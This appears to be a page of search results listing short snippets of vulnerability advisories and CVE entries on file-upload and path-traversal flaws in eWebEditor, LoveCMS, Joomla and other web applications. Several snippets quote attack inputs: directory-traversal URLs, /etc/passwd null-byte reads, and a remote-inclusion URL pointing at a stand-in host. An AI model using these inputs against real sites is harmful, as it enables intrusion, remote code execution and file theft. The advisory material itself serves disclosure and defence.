112 matches found
SearchBlox Arbitrary File Upload Vulnerability
SearchBlox is the U.S. SearchBlox company a set of open source and free of charge based on Lucene full-text search engine toolkit to build enterprise search and analytics solutions. The program provides a Web-based management interface , you can manage the entire search system . An arbitrary file...
eWebeditor - Directory Traversal
eWebeditor - Directory Traversal Application Info: Name: eWebeditor Version: all version Vulnerability Info: Type: Directory Traversal Risk: Medium Vulnerability: http://site.com/admin/ewebeditor/admin/upload.asp?id=16&dviewmode=&dir =./...
News website management system vulnerability-vulnerability warning-the black bar safety net
News website management system vulnerabilities author: xk8888888 This system has N of the Year Edition,General government, schools and enterprises with much more, Special permit: to display news NewsView. asp? NewsID= Login login. asp? id=3,The main special permit is available one has a EDIT the...
ewebeditor遍历路径漏洞
eWebEditor是一个所见即所得的在线编辑器。顾名思义，就是能在网络上使用所见即所得的编辑方式进行编辑图文并茂的文章、新闻、讨论贴、通告、记事等多种文字处理应用。 ewebeditor/adminuploadfile.asp 过滤不严，造成遍历路径漏洞 eWebEditor 暂无 http://www.ewebeditor.net/ ewebeditor/adminuploadfile.asp?id=14 在id=14后面添加&dir=.. 再加 &dir=../.. &dir=http://www..com/../.. 看到整个网站文件了...
CVE-2007-6668
admin/uploadgames.php in MySpace Content Zone MCZ 3.x does not require administrative privileges, which allows remote attackers to perform unrestricted file uploads, as demonstrated by uploading 1 a .php file and 2 a .php%00.jpeg file...
lovecms14-multi.txt
rfi: /lovecms/install/index.php?step=http://site.com/boum.txt? lfi: /lovecms/install/index.php?step=/etc/passwd%00 /lovecms/?load=../../../../../../../../../../etc/passwd%00 admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tm...
LoveCMS 1.4 multiple vulnerabilities
rfi: /lovecms/install/index.php?step=http://site.com/boum.txt? lfi: /lovecms/install/index.php?step=/etc/passwd00 /lovecms/?load=../../../../../../../../../../etc/passwd00 admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tmp/...
CVE-2006-4476
Multiple unspecified vulnerabilities in Joomla! before 1.0.11, related to "Injection Flaws," allow attackers to have an unknown impact via 1 globals.php, which uses includeonce instead of require; 2 the $options variable; 3 Admin Upload Image; 4 -load; 5 content submissions when frontpage is...
CVE-2006-4471
The Admin Upload Image functionality in Joomla! before 1.0.11 allows remote authenticated users to upload files outside of the /images/stories/ directory via unspecified vectors...
CVE-2006-4471
CVE-2006-4471 : In Joomla! before 1.0.11, the Admin Upload Image feature allows remote authenticated users to upload files outside the /images/stories/ directory via unspecified vectors. Affected: Joomla! prior to 1.0.11. Root cause: insufficient enforcement of directory restrictions during image...
